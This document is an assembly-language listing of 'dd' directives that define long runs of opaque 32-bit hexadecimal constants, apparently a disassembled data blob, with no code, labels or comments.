dd 0C22E9CD1h, 0A446542Ch, 0D6A45DCBh, 0E149F30Ah, 0DC2DA119h
dd 9A53121Dh, 6E1DD92Dh, 0C3AC7EB1h, 85C28753h, 0F88E9AB3h
dd 3129EC71h, 7C0803C8h, 88D69E78h, 0E27A586Ch, 0A6898BA5h
dd 125A1D51h, 825BB60Eh, 68C382F9h, 296FFAD9h, 0D19498EFh
dd 0D34485AEh, 7D8808EDh, 2A15B182h, 0ABF07C38h, 5A2B732Eh
dd 6975B96Ah, 3BBE7D63h, 0B7883CF7h, 664D18D5h, 0BB279807h
dd 0BBC0F0A0h, 40AFA6DAh, 384B5BDh, 3ED83EC5h, 1BB55E7Dh
dd 0BE71BBABh, 753DB7Fh, 452B2D09h, 10ED1024h, 6A2D29E2h
dd 6185F673h, 1F91F5D1h, 2E161331h, 18D428Eh, 5961D28Dh
dd 535C59F4h, 76429A2Fh
dd 3C7DF3C4h, 0E9F009A6h, 0E2E32C6h, 0FF916577h, 0C73FA43Ch
dd 0A37DF5F6h, 0D100E040h, 6AEC86C7h, 0F9C3964Fh, 0E399182Ch
dd 92A2A040h, 4A5BE9CCh, 0EE95059Ch, 3DA1D536h, 86D75616h
dd 20D3886Ah, 0CD0FC529h, 53034510h, 9C754148h, 0FF6BC78Eh
dd 4D2FD575h, 15885A46h, 60C2337Bh, 4F81762Ah, 15ED6D72h
dd 0C85ADDDBh, 89D96B16h, 0A4BAB539h, 8E53B07Eh, 6838EF14h
dd 0B8E16B9h, 7514A47h, 514FD6Dh, 12F3DB45h, 89FC1B2Dh
dd 6EF3C047h, 0F9BC8A43h, 0BCAE908Eh, 0D4465496h, 6A7ED7EDh
dd 0DCA29FEEh, 2BB12EE3h, 0B8DF3B49h, 3AEFCAAFh, 4CAA5B77h
dd 3056697Dh, 7A002393h, 2D986BF7h, 0F5A451F1h, 0D2943C40h
dd 8899C95Fh, 4AAA387Bh, 73FF3713h, 0E96A2254h, 0F67CD5D2h
dd 0AB431E49h, 9F63435Fh, 0C810CB9Fh, 0CAC4CB56h, 47DB2AB1h
dd 0D41102DFh, 2D44D622h, 1875A91Dh, 1F4CE6EAh, 0B973F180h
dd 323C18C5h, 0B6EFD1E7h, 82EA5A1Ch, 0E10EF01Eh, 2B23EE47h
dd 32E8D0DCh, 98AE9902h, 88949E37h, 0EB18C94Bh, 151D8E26h
dd 0F059EA2Ah, 29BD2125h, 0B3FC36Dh, 34366326h, 0BE8ECA8Eh
dd 8C29DF6Eh, 8D2159C6h, 28EAD577h, 1BB2D2D8h, 66E9C97Bh
dd 42935CFDh, 0FD33A94h, 0C2F04E3Fh, 0A926F625h, 0CB260535h
dd 0B3623A9Fh, 8A98A5F1h, 21360996h, 0B0C8A0EBh, 0E96D0840h
dd 0D0820480h, 47C1F4EDh, 0C02A99BEh, 47473EA2h, 0BA8E6389h
dd 0F0D9BA63h, 657546A1h, 7D731EEDh, 83F07B63h, 22422D4Eh
dd 5DEDDCB9h, 989D4401h, 8DAFBE4Eh, 600F4D5Fh, 6363E4ECh
dd 5B183359h, 0BEC5B87h, 8E5DAC16h, 2D96AB57h, 0C51AB00Ah
dd 1949524Ch, 29A3F078h, 1C62DB92h, 0B2C13471h, 62071951h
dd 91A8CBBFh, 7F5BA1F6h, 2059FBF5h, 7177AF83h, 424E6510h
dd 55ECCCCEh, 1A80F21h, 0E48E71D2h, 3B673CD4h, 880141E1h
dd 0E687117Ch, 0E5AEBCAh, 0D0358164h, 0A35491C2h, 47D9BAB8h
dd 8CC6C43Bh, 0F0DA5FF1h, 0C64F5488h, 0B1E6B680h, 1E0F5CD9h
dd 0EA10F97Eh, 161A9599h, 0D63AE2EDh, 68FDB289h, 0DB1C65FCh
dd 0EE0AA354h, 0DEB9D4E0h, 9ABAE31Bh, 9EB7CA34h, 0E1CD769Bh
dd 0C66BE5Fh, 16950C77h, 0F3F27520h, 224E5911h, 5D48A62Dh
dd 41D173FAh, 5F2E8C94h, 0B3856BE4h, 21829DFDh, 1374902Ah
dd 512E9D90h, 8793FEDAh, 39FABD16h, 0C2C0DFD0h, 0DA37724Ah
dd 0D98722D9h, 0B2662847h, 8E22BA2Ah, 60B0D30Fh, 76EB12EDh
dd 180D21ECh, 3AC5AC4Fh, 0BF65A89Bh, 9F36B04Fh, 0C55EEA52h
dd 367FDD25h, 0C6D19A3Dh, 70AD001Ch, 37AEDA65h, 4C742CBBh
dd 85EA29BFh, 73C12A6Bh, 19F5E795h, 0D54D1B0Ah, 0C1E4E20Ch
dd 0F41394Eh, 842A3231h, 0DC766A34h, 0EFEE333Bh, 78883036h
dd 57AA6C9Dh, 18A12D4Fh, 0D7CB5297h, 4C16D9F2h, 0B07F345h
dd 866FB8E8h, 360B6227h, 2B259400h, 3413B5E2h, 368C97A0h
dd 0EA36A9DAh, 16321EBh, 95307E57h, 41DC1DB5h, 41B582F5h
dd 87DC09BBh, 8A7184B5h, 0AD56E4D6h, 89313CADh, 8FA242A3h
dd 9F462A1h, 59D843C5h, 0C2297AF1h, 125E2430h, 286EC01Ah
dd 0D758C07Ch, 0F69CED99h, 0FFFEEEC1h, 0F10A4423h, 63E22653h
dd 3F56ADA8h, 1D2E7001h, 368235D5h, 12AEEC3Eh, 295AA279h
dd 0B1DE2994h, 129CDB44h, 0BCA1DFEDh, 0B9E87BB0h, 0F32B2612h
dd 0F00E4478h, 0CC6E26E3h, 8918BB7Ah, 0C58D226Ah, 727861FFh
dd 6B53B043h, 560063h, 9D4C5EDDh, 5B446EEDh, 0EC9A3F33h
dd 88F2D1FAh, 668F894Ch, 0BADF5416h, 2346A4B7h, 0B3FB6192h
dd 0C3F1D93h, 8DC85817h, 9324B9B7h, 40D1C92Eh, 6EA2696Dh
dd 9D2D61BAh, 0F416E23Dh, 9F7B2128h, 6E9E5D88h, 830C6C91h
dd 31FF66EFh, 7664C3D3h, 0F17C984h, 667E1548h, 7587FB02h
dd 436847A9h, 235464DDh, 46159447h, 57C0A233h, 2A5ADBC8h
dd 1FE28773h, 8EE0018Ch, 1AD81036h, 37301A0Eh, 6F81422h
dd 491F66A9h, 0E339F5C0h, 9F47552Dh, 92E3E05Dh, 36AD1F39h
dd 7718D9AEh, 3A21008Ah, 0DF69A80h, 0E14CFD8Ch, 0DAB8AB10h
dd 0A22D1073h, 9BF07B05h, 6B633F21h, 0BB158631h, 0A957710Eh
dd 0B5DC0391h, 0F062A7B9h, 4CD50C68h, 695E7CB7h, 24376111h
dd 29E432E6h, 6E18E6E7h, 1236542Fh, 72691E2Ch, 99FF7527h
dd 9387076Ah, 0A06F79E8h, 8C1138DCh, 0C37E31EEh, 0D7F54A44h
dd 0E9FEA864h, 0AA1464C2h, 0D7929B39h, 867A225Eh, 1F9D29DDh
dd 4BE89C42h, 0E2D291CAh, 8366A412h, 0D5BF46EEh, 6D2868E5h
dd 4F95DDB8h, 8BB8ACEBh, 30D91963h, 0C35DF396h, 0B7847E0Fh
dd 0A929685Dh, 2A5D4935h, 1BF79A59h, 0A7743255h, 71492311h
dd 61C70C66h, 19CD6F4Ch, 0E4FA3B8Dh, 67C88703h, 74205548h
dd 0EA790DBEh, 0CB4CDAEEh, 981C3ECEh, 4F604F3h, 310EF59Eh
dd 760447Fh, 735C95C9h, 985A868Dh, 0E942DB04h, 0C7495D2Eh
dd 62880BFCh, 17488519h, 1EF4BEC4h, 0F3FB9CAAh, 6F03EC50h
dd 4F0AFE9Ch, 288DAA88h, 1EF29940h, 6DAFBCCh, 0B5F19171h
dd 99249523h, 69ABF9Dh, 0AA1C3556h, 442EA3BAh, 0A7C47AB0h
dd 0FB4D5B59h, 41153C89h, 5189C2ACh, 0EC3B24C3h, 9D241455h
dd 0C080FA57h, 0BF9674Ch, 8DE26542h, 0C24F12FFh, 24023711h
dd 8086AD0h, 122B6BD7h, 92B889D4h, 0EAB60646h, 0D48A021Dh
dd 66F666AAh, 68EA9CCFh, 87F57698h, 0D7FBEAC0h, 672DBA8Ah
dd 0B44E9C09h, 59BBB72Eh, 445312DFh, 0DC80E4C6h, 7D52147Fh
dd 3789693Ah, 73274431h, 4E721A81h, 512A7F47h, 38B947CEh
dd 6D6DE524h, 0CE6EBD1Bh, 5735776Fh, 0D731B320h, 276182EAh
dd 0E1038583h, 81172578h, 0CC507E7Bh, 0D1B0666Dh, 7FBD9502h
dd 0BEAA2FD6h, 89CA8047h, 2A085024h, 0CB7D9E3Dh, 79791775h
dd 0F8C8D164h, 41AC0FD7h, 1F5993ABh, 0DB477D12h, 0E4134D52h
dd 8C343690h, 6AB29831h, 0E078958Ah, 0BD6BC8C9h, 38D2CA52h
dd 0DBE9EE04h, 3536191Bh, 734D3C08h, 32588317h, 5500F3D2h
dd 0DA8B73F6h, 0CE796434h, 55B5656Fh, 943C2E12h, 0EEB1556Fh
dd 9B097DD3h, 6ED55A90h, 0ED04F389h, 0CF1E79ACh, 0CD56402h
dd 88ADBAADh, 401867C7h, 0F3B101D0h, 0BDF6EC3Ah, 0E7513723h
dd 31F5E7C4h, 7808B0F7h, 0C059F0CCh, 567D21DAh, 0FE3055B0h
dd 0ED78F1A1h, 0EEACC81Bh, 68EB1206h, 30EA33EEh, 9AA5F1EAh
dd 0C0ED61EDh, 0B8A84DBFh, 85100949h, 8594A8A7h, 0F0030697h
dd 0C54217BCh, 58AF6797h, 644BE93Eh, 0F98015E7h, 0AFA734AEh
dd 72FEA761h, 799F738Bh, 9E4905C1h, 8B3D5FD1h, 3AFFD72Dh
dd 3653F60Bh, 22AA90A6h, 0E239BA9Ah, 96B1A4B8h, 16899B2Fh
dd 0C4DD9A66h, 652BF9B0h, 6F3B3812h, 7872EC46h, 55FF73FEh
dd 0AF4D969h, 511B4DB5h, 2400FD01h, 0C715E728h, 0AC99AA9Bh
dd 86797514h, 6F404D28h, 8DE9942Ah, 41E09889h, 75B5AF13h
dd 0AE2126E6h, 2E304300h, 2C41198Dh, 0F3A982FEh, 0A39C4B37h
dd 0F4510282h, 0B419F29Eh, 57F5F299h, 0B2BC5CCAh, 578A6C49h
dd 7AAD96CFh, 15B81FB5h, 4AE5A7EFh, 9C8AEB19h, 0EA12BCA7h
dd 8884B624h, 7EF55AE2h, 0E412B47Eh, 0B9703C60h, 6CE92208h
dd 40AE191Ch, 0FD46261Dh, 0E14FCCD6h, 0CBD67248h, 47162CFAh
dd 0F303DF2Ch, 50E93570h, 1991A45Dh, 0F61C336Ch, 57982C71h
dd 0D75E111Bh, 2C79FF7Fh, 6F68CC7Eh, 0F573997Ch, 0E21C606h
dd 0DA9F1C27h, 750CEBB0h, 0F65F193Dh, 94292AB2h, 8E599C58h
dd 5C66EFE0h, 76CE7508h
dd 0FDC3FAF1h, 410BAE43h, 0B96B07EEh, 93FF4337h, 0C1483C71h
dd 91962C74h, 8A757446h, 0A495E26Ah, 25913501h, 4E8C67D5h
dd 0AF9C7FB0h, 66D18C6Dh, 0AD5BCB5Ah, 0C4AD221Ah, 0C9FCF386h
dd 4C1CC76Ch, 120BEA70h, 0F53E28C1h, 0F563FF98h, 8D59ABC9h
dd 0B53F9C6Eh, 0C128ABC4h, 0A6B72A4Fh, 0F68276DDh, 557E2943h
dd 624CD7CFh, 8ABE05BFh, 0B448B033h, 0CF324752h, 51C4771Dh
dd 0F7E28112h, 4EF4DE4h, 493821F4h, 9756273Fh, 0C6E0DBA7h
dd 0C63732A3h, 904FA3BAh, 52832CBFh, 5FFFBA1Ah, 0D561609Fh
dd 0BD1FC96Ch, 0D215B13Ah, 1ACC9DA6h, 0A739F187h, 0A27C181Fh
dd 0F078E904h, 6123A9FAh, 6F4F487Eh, 0C6EA6F2Ch, 0B96F8B66h
dd 17CE45E9h, 6D7148BBh, 0D84EA065h, 0C91B7EAh, 92DF3AA0h
dd 0D77A436Dh, 6B3B21EDh, 0E5E57188h, 67FB5D32h, 5BA0F392h
dd 88F359Dh, 0E13469Ah, 0BCF2D489h, 9C2AADB9h, 0CBE9E38h
dd 85D794F0h, 0ED767E53h, 0B8EE0BC2h, 0E8BADB0Fh, 4A8029AAh
dd 41F77E69h, 0C1985448h, 3DB7AB41h, 7758D0BDh, 3F721655h
dd 4B4158D7h, 4B3FE428h, 0D9021A8Ah, 0EEC8E7A1h, 58D1F934h
dd 3CB7A963h, 598987ACh, 68FE8D37h, 49AB8F7Bh, 0E53CD399h
dd 8D5EFD10h, 0D1C4327Dh, 979C1250h, 0FD8194Fh, 41806803h
dd 52BED265h, 2D32424Bh, 381E68A3h, 0AD2FB4AEh, 0AA4AC515h
dd 29364EE5h, 8FA98E8Ch, 0FE0CF697h, 3927F0B0h, 0BFA7601Dh
dd 0B5E4B2B9h, 6EB5387Dh, 0B20CFA71h, 5D8D2B39h, 0ECA82E50h
dd 830F9B08h, 34C87076h, 72E739CBh, 672AB745h, 9BBCA9ECh
dd 0FD474DABh, 9951236h, 19B10614h, 0F43C56AAh, 1886FC3Ch
dd 0B4F8B779h, 0B967683h, 104AEEC3h, 9298FDE1h, 8DFEE75Dh
dd 0E26EDB14h, 581AED6h, 8EE8130Dh, 88AF7BF5h, 0B95F5B07h
dd 45341627h, 404E55A0h, 0E03FB60Dh, 67F3F360h, 7CB5C861h
dd 51EB6886h, 0F812E20Fh, 0D57CA58Ch, 1A3AAF66h, 62AB0CCh
dd 6AD0243h, 66536EDBh, 0F9B4A625h, 0ECEED2h, 0D6890451h
dd 267BD150h, 389A8647h, 16812D69h, 3A531E4Ch, 7B0ED52h
dd 63A7F5AEh, 92322CC2h, 0A02B8690h, 5B6C7AC0h, 4378C561h
dd 0E64CAFCEh, 1C8AF3B6h, 75ADC905h, 0DC4ED609h, 7AA0C6F5h
dd 5DD4336Bh, 925A62EBh, 2D2B1D8h, 33DC59C2h, 9A8268D7h
dd 1BBAB548h, 0F7CD47ABh, 9738C1EBh, 18B29369h, 37658DFFh
dd 7652E281h, 0C1379CF0h, 0CD6A9B67h, 0B4CCE3F7h, 0CCA4245Bh
dd 6D78671Ch, 35AD5D6Fh, 0CEFCFFD6h, 1FA115C4h, 0EC89CBF2h
dd 18D4DC7Ah, 79920711h, 0B7462FD9h, 49070670h, 0B79E2725h
dd 0CA7467E2h, 0C436D020h, 5DCE2D8Ah, 340D7988h, 0B7B3EE8Ah
dd 5F102F5Eh, 8DF48C8Bh, 5B4B2E54h, 0FBC4F366h, 0CCEBD90Bh
dd 2B803CFBh, 53483648h, 0A13C4B98h, 2BBD997h, 323AB875h
dd 0E6B5E6CAh, 1DEC757Dh, 0E2DE5043h, 9A8AE67Ah, 0BEFE9B49h
dd 7E3C24CCh, 0C906F24Eh, 56E23DDEh, 0D362CAC5h, 90614084h
dd 0D3F9DC01h, 28637FADh, 8133546Dh, 0C6FC4923h, 647722D2h
dd 0F04DFB7Ch, 0B32AD1B1h, 4A8A34E0h, 0FCBF5C30h, 8F06FF25h
dd 0F7320274h, 0B709FD72h, 0D648D687h, 3A7ACE4Dh, 4ABCBE73h
dd 1B12B100h, 838E7EB9h, 0CB410EF7h, 50ED9D26h, 96F6A75h
dd 0D0571210h, 0BD84F999h, 0DA55D5Eh, 0D7173B48h, 523EDC09h
dd 887833Ah, 0EE4AFA30h, 79584D3Ch, 2CAC177Eh, 0F90C3E2Ch
dd 74F4E136h, 0D33D07DDh, 13EC0C2Eh, 0B0D61173h, 49D2AE10h
dd 0DDA6102Fh, 0A9DF025Ah, 75933732h, 0ECC85553h, 0BE4095D0h
dd 234280Ah, 3C4A5D59h, 0FE2013C5h, 9AE4C9B2h, 7ADB5E32h
dd 0EF81397Eh, 94854E4Ch, 0C84CA9C3h, 0BF4F94DBh, 66BF9759h
dd 0FF9F9964h, 31113D9Ah, 54116B1Ah, 88F903D7h, 3696731Ch
dd 77D6F7AFh, 0DA3D9266h, 0D1A82760h, 9F9F6A29h, 98213B36h
dd 0A7B9B39Fh, 300FF461h, 0D5477A65h, 4ED9060Eh, 8F3B8306h
dd 61B080BAh, 642BBF72h, 676300F0h, 0F62B3D3Ah, 0D2B766C5h
dd 37FDF01Eh, 0D31B4774h, 0DE0AA616h, 3A5C3C34h, 500FA850h
dd 0C9F91872h, 0B4232DF3h, 83AE6F4h, 0B4282137h, 0E11AD610h
dd 0BE51618h, 6A318168h, 12CB4FAh, 54F8C3E3h, 76ADC583h
dd 5C7E7CAEh, 35DDFF4Bh, 999CDD3Bh, 0B5AD4CF6h, 0A905D8E4h
dd 84FF1800h, 36BBEA1Ah, 877094D2h, 520C418Bh, 6869B1C4h
dd 0CCB348F4h, 3290AEB4h, 0F62ED643h, 15B5EC99h, 76B4AC46h
dd 5FEBEABh, 6BDF9C01h, 1E1388B7h, 8296AA24h, 0F2F3AECCh
dd 407F7B5Dh, 0C2E8605Eh, 0F2372C4Ch, 7B868E52h, 811749ECh
dd 0BAD9796Ah, 8BE56A0Bh, 6122FEB7h, 3008BA2Eh, 277775A8h
dd 0FE7F6097h, 0E847093Eh, 0EF9E4FFDh, 6258458Fh, 0C8922531h
dd 7DD89899h, 8AB738E0h, 34292C25h, 85D2D5BDh, 0E906BC8h
dd 4A83F01Dh, 0E6D664FAh, 696FEEA1h, 7C67446Dh, 0FC0006F8h
dd 0A92C393Fh, 5FF7E7E6h, 4C142EE8h, 2D7CAA58h, 372951A4h
dd 0F8C2C396h, 5A6CCF98h, 37BB838Fh, 0FA5B3C21h, 45598E95h
dd 75520CC4h, 0FE5DFCA2h, 0B0BC8B57h, 0FE12320Dh, 2D4EEFADh
dd 4ED7C2A8h, 96F84918h, 58AEAC9Bh, 8E33BF56h, 22148E03h
dd 55D38E87h, 0B6E0E3ABh, 2B419101h, 13A7059Ch, 46F241CEh
dd 0A81935F7h, 65E91945h, 0F1426579h, 3D4107ECh, 0CD7FE798h
dd 1EAEF645h, 0A160D16Bh, 0DBC4BFBh, 0CFCA049Bh, 38D118D0h
dd 0F52D3D33h, 4A5715CEh, 0D802AF7Ah, 5E8E3C4Fh, 0D9F06A83h
dd 0CD7DC1C9h, 0FE6D6502h, 0D2C07C2Bh, 0BF063F1Eh, 23155494h
dd 716720CCh, 7EA9E038h, 0AB9BD944h, 0E2A93227h, 6B248AAAh
dd 2BD99563h, 0EAB3DF04h, 662F8B25h, 0E7EBF181h, 0D4A8B6FFh
dd 3F998172h, 0E55A7ED8h, 101E5FD8h, 67A36C19h, 0DE90E7D3h
dd 0B74C01A9h, 6BBE804h, 0C667B253h, 49B55AF1h, 7F89791Ah
dd 0E2E33DBDh, 98ADEF8Bh, 8501E442h, 52EF9E74h, 0B1E86A03h
dd 4CEBE2h, 0B9F0F6DEh, 8AED0D33h, 64B019CCh, 8A1DD05h
dd 0FC3FD673h, 18C46AC3h, 0A8BDB28Ah, 75CF727Bh, 0D9037649h
dd 6AD4347Dh, 400B1h, 8676AB5Ch, 0D1E91B93h, 0C53CE74Ah
dd 0CCE0ADAFh, 0AFF4F94Bh, 5193C363h, 734DFDA9h, 19430B30h
dd 6F438CDAh, 0C4798920h, 62AE87D2h, 0BC167DCDh, 0EFB2F6BDh
dd 7C3C5824h, 0CDA1F553h, 594BB762h, 46CA474h, 136A804Ah
dd 0B5855BF1h, 0A3BFE242h, 2E1EB088h, 0D780570Eh, 229D6246h
dd 1CEB2E21h, 4AFE7D16h, 66B9EEBDh, 13F2FE81h, 414F186Dh
dd 0D16E5986h, 990B3464h, 7E0CF035h, 0E83C641h, 0F37E6EF8h
dd 0D8CB6BBh, 0E3625F83h, 6A85C158h, 781CE2Ah, 0C90382FFh
dd 90A10A7Fh, 3459502Ah, 29D9DA38h, 0D5B1404Fh, 0D131D71Ah
dd 0F2093EE8h, 1F544B5Ch, 0E28445D8h, 350C719Fh, 0A13E9F15h
dd 6D8C6DB3h, 40AFB9C0h, 71E12FC7h, 9C23A6C5h, 9BB89A9Ch
dd 2194F3A4h, 0F60676B8h, 0B9805475h, 8A534201h, 0DAF150A7h
dd 0C16B2343h, 8088B570h, 9B16FB31h, 0EFEAF11h, 196E92D1h
dd 78B9C4B7h, 4DF636EAh, 93AD3223h, 46BB2FF8h, 0F17610B4h
dd 1EB8FDCDh, 34C9A7B1h, 5D6DA7D7h, 1487E6E5h, 0D1D8336Ch
dd 94975A72h, 0E420A204h, 7E00D7FEh, 39A133FEh, 1FCA457Dh
dd 6A30D749h, 32671BBAh, 0C28F57ADh, 315C7072h, 0ADD2E84Bh
dd 96BC210Dh, 8A03043Dh, 0E9823689h, 0CC9A823Bh, 28F15454h
dd 4A0E9F41h, 7302F87Ah, 4310E951h, 5379360Bh, 0E4835060h
dd 0E144DAA8h, 0C2933318h
dd 4CAFD3A3h, 2F470C7Ch, 48685F57h, 613E7448h, 7F066E1Ch
dd 0D57F9741h, 0B8C9E44Ah, 0E792BC90h, 0D53F9C07h, 0FD99904h
dd 4EA0D443h, 534A7D78h, 0F57C9042h, 0DBFFEF6Fh, 723BD6h
dd 0B657523h, 31ADE3A6h, 58B11C6h, 8627837Bh, 0E87FEE69h
dd 878F75F4h, 0AA167FC0h, 0A9823E31h, 0ED71E429h, 4CCD9470h
dd 7F5AE6C5h, 0E1D3DA6Ch, 55F24830h, 0B28FD134h, 83F30D78h
dd 0FE08EAA3h, 0E5B7E900h, 7968F03Dh, 0C4DD0755h, 51AA3264h
dd 6ED4629Eh, 2158A432h, 0BBD0D97Ah, 0FFAEB386h, 0EA4FFE48h
dd 1CDCA1A3h, 7CC491Ch, 4E6939FFh, 63228870h, 0A222CA99h
dd 0A88696B7h, 0B0CE40A4h, 0EC3B3E57h, 0B37E0F43h, 3DBA2DA8h
dd 652F025Eh, 0D2194E5Dh, 333BDEFCh, 4354B9D8h, 0CC7DE16Ch
dd 8BAB80CAh, 0E0038341h, 2B3FE8C3h, 0F397FCABh, 5709E36h
dd 38C68537h, 2625854Ah, 0A377BE3Dh, 9817E59Eh, 0C0A52899h
dd 75837AA3h, 5791189h, 0BC19E43Ah, 4A24FDF8h, 0D1AF37ABh
dd 0F832D08h, 42625418h, 5EF62935h, 0EBE91F3Eh, 5D57D39Ah
dd 9641012Bh, 43AE66F5h, 704D71EFh, 864583F9h, 0EC4E7A1h
dd 6BA191D9h, 33DED37Ch, 0EBA2E34Bh, 0AF630BE4h, 3BD3583h
dd 44E51B78h, 0E85BC0F5h, 0F99EB59Ch, 0E578B99Dh, 67837A68h
dd 779BC963h, 82222C9Dh, 80FAEE90h, 9AE2171h, 0A317B539h
dd 0D2380C1Fh, 0B97EA218h, 5070F779h, 56E2BF53h, 0C6A91BBEh
dd 0F54B78CAh, 30AC3B2Ah, 8D39EA22h, 68F3D3E1h, 25FAF557h
dd 10596D35h, 0DAE90409h, 8D48B8C2h, 41DCA828h, 0DBC5CDE7h
dd 57451F7Eh, 89C5DDE9h, 0AB51B7A2h, 0E1F49A49h, 0DA497527h
dd 407C616h, 0FF5E03EDh, 18CFEEC3h, 0C1708800h, 0A78B7DEDh
dd 116FBD9Fh, 79DD89D6h, 0BEC036C1h, 2E51D06Ch, 4E2E5F47h
dd 644D704Ch, 345DD533h, 0BBC6D075h, 0ADD1C4BEh, 4D067C9Dh
dd 0A87AE644h, 0FFB4D871h, 893FDCEAh, 8E5531AFh, 2C0860C1h
dd 0B7785EF1h, 8123CCDAh, 0B7B6D92Fh, 0F1924A29h, 0F6C9FA76h
dd 0FD407016h, 780C2D49h, 6D201A12h, 0ADAD9B1Ah, 0FEADBB4Eh
dd 28E6DDAh, 0F0E9DACh, 5971187Bh, 975E19CDh, 0CF96757h
dd 0C01B7A2Dh, 0E9297E31h, 44DB5BB6h, 658E2674h, 0EE7E28BEh
dd 88B554F6h, 2B250E36h, 151CDC9h, 31B16980h, 3BA3988Eh
dd 69865440h, 0A2CEDCEEh, 0E1FB9B74h, 155AF74Dh, 71245446h
dd 1D440310h, 5910369Fh, 0FD15DAECh, 0C86947B9h, 5F5322FFh
dd 1728BD70h, 2907575Bh, 1173C96Dh, 17F6C049h, 7BDFDF34h
dd 0C17228DAh, 9C1AB20Ah, 0C1FCA572h, 0D3A345D6h, 69BED7Dh
dd 0BDC7DFDDh, 389017B4h, 74E218B8h, 0EF805520h, 0FCC26548h
dd 0C93EF73Eh, 0C1CF73B4h, 55C42636h, 0D457CBF3h, 7D3DA575h
dd 56C99FE9h, 4EE2D535h, 0E0E6DA9h, 0BC7BE21Bh, 2A24EF5Eh
dd 0E893E09Ch, 4FE5D6EFh, 0AB92DAFBh, 0E8CC533Ch, 43C1C613h
dd 579144DDh, 0F895BAF7h, 0A4B0DB0Ch, 0CCCC76B1h, 0FF9F3F9h
dd 0F5CAFB2Dh, 0A8430BF4h, 0D867C04Dh, 26CA0101h, 977D819Ah
dd 454C84BFh, 3B4DA3DAh, 0B31E315Dh, 923C3770h, 17610032h
dd 0AA31A6F9h, 0E9375454h, 6DAB9079h, 2B66FFD9h, 0F29183BBh
dd 0EAD73655h, 0C3D57951h, 0CACFFC67h, 9473AE38h, 0E88B4E1h
dd 0FE114807h, 1C4A682Bh, 0F0151B44h, 0F1031E37h, 0AB56FFB8h
dd 0B1A43DA9h, 0BF839CAh, 0A5962BFEh, 0F5BAB2D9h, 0E44F00ABh
dd 5A995CD1h, 0EE0A620Fh, 443A69AAh, 565B6C18h, 7F8645F8h
dd 41997F31h, 2ED9F00Ah, 52E8696Ch, 0E8CE9BECh, 1AD77339h
dd 0CC80A428h, 0F643EA4Eh, 0EF05676h, 0C2934701h, 0F07726C7h
dd 9539B86Ah, 0D37ADD63h, 6551E0C8h, 0F33779C8h, 3325DE8Bh
dd 4822DF8Ch, 0C8E7C92Fh, 14B2376Eh, 319FD5CDh, 13FA421Bh
dd 6F3E40FAh, 7862BF7h, 0AB635E73h, 8066F1E5h, 0D70BC10Dh
dd 8ED2B5FDh, 77872FFAh, 669A0A90h, 49CE6C00h, 0BEFBF2Fh
dd 9171947Eh, 4793DC73h, 0A56DC4D0h, 0D59478Ah, 0B20714F9h
dd 0E2A34D6Ch, 920C51C3h, 9E0724ECh, 0D5F025BBh, 84CBDC7Ch
dd 6CF7261Ch, 0BB1F6BA9h, 0F9DCC01Eh, 2FF7655Eh, 90557CCEh
dd 0CC9154D6h, 6789EC3Bh, 31D1116Fh, 8AFCC059h, 7E122A7h
dd 0B656B0Bh, 82F57462h, 37CFF90Fh, 0A5F4C0E2h, 94C4CFE5h
dd 309AE97Dh, 5FEAF21Fh, 7D9E6D80h, 0DA2989E6h, 0D28A57E9h
dd 85F327C0h, 0C45D228Ah, 0F99AC228h, 7A9CEB3Eh, 6181B407h
dd 13964FFAh, 504401EAh, 666FABE4h, 5157EDBDh, 0FBEA83FDh
dd 9A56A24h, 4EFABA8Bh, 93CF9D0Ah, 278239h, 1717E07Ah
dd 31C5A262h, 49B06832h, 0BD2417B2h, 6516164Bh, 0A08F66F5h
dd 0D58DC3FCh, 3F31EB4Ch, 0EBDE90CBh, 2FF46B2Bh, 3494D3B2h
dd 92536FCBh, 0ED2BF119h, 6DCCCDFCh, 86C6E641h, 0BFBEE886h
dd 0AFECBD20h, 2E0781C0h, 0A20FEE3h, 8921ABBFh, 0C87B0615h
dd 1CEC166Eh, 44AFBDF7h, 687CEE46h, 0B6F905BBh, 0A070363Dh
dd 7F6AE0F4h, 291D3AC2h, 16E4F1EEh, 5719311Ch, 0B83D2A7Ah
dd 589367A3h, 0C8832C83h, 924389EAh, 0F65DA825h, 0E11613BDh
dd 41D69337h, 4153B7F3h, 0BA80AF26h, 0A1901FEAh, 7446A3F1h
dd 647B1321h, 992126BCh, 0BCB6AFA0h, 0CF4EDC10h, 0B7002F97h
dd 5D794C8Ch, 95B3D48h, 3C4FEB4Dh, 68F53DE3h, 0C3D97F8Ch
dd 0FF6CFE1Bh, 4C9E09Ah, 6F42D8B1h, 0EA529D01h, 0EB88AC90h
dd 0A0721514h, 18E03A6Bh, 0ECF1483Dh, 465394D5h, 262811DEh
dd 63797117h, 0BB847A5h, 9B9F0932h, 5D985B57h, 0EB858428h
dd 0AE999191h, 48714C88h, 60F380D2h, 8635C8FDh, 0C71AB67Ch
dd 0E668B44Eh, 0F1634A15h, 54D6521Bh, 0B746458Bh, 4C3C8F2Ch
dd 0EB895E55h, 1C9A8D80h, 3653AF46h, 45354BDh, 2DA8524Bh
dd 58F84949h, 83EA76F8h, 0ADAFA790h, 6F27DC63h, 0B4888E6Fh
dd 0F38DD5EAh, 0EF79A68h, 875390BCh, 0C2589075h, 0D4EE9784h
dd 88723EDAh, 9A89B0E8h, 6FEADC5h, 7C6CD5A6h, 0C26F4A39h
dd 1A1D0AB9h, 2D6CB9CFh, 0E46C390Eh, 0F2C3550Ch, 52543E87h
dd 0FCD721E3h, 46EE18C9h, 4B8B0FB5h, 0D42A41A7h, 41752A98h
dd 9748262Bh, 94A18E07h, 646D146Fh, 0D4A0EDFFh, 9BF0B3Bh
dd 49650B0Fh, 0AA08F8F5h, 1F0E59EAh, 370734EBh, 6574B71Ah
dd 19CBB05Eh, 89DF7AEBh, 1A8EF5BCh, 0EB814460h, 9F2FB4F9h
dd 0C2577FD2h, 22F27DC2h, 816D3ECh, 0E75CED61h, 0E4859E20h
dd 1670A95Dh, 9AAD3F3Bh, 0C40076B8h, 86DE48FCh, 0A10904Eh
dd 0FFBF3E56h, 7817A3F6h, 284D4ADDh, 0DC8426D0h, 0D8918Eh
dd 0D03D2B1Dh, 0D70D7EEAh, 0DF6D907Ch, 1BE93D6Fh, 2CFF50F4h
dd 0BBD46317h, 2C3BEB49h, 0DA912A19h, 5D9C2F8Eh, 0EC0471FEh
dd 9EFAA233h, 0AFBB7BB2h, 52D47467h, 0AE1D22EFh, 12731A6Eh
dd 9E4CA78Fh, 4A467170h, 9A8D7A27h, 0F179766Bh, 3C45AF8Fh
dd 0A5DA7BD9h, 0E48F1C8Ch, 871578BEh, 6E094E6Bh, 17A96420h
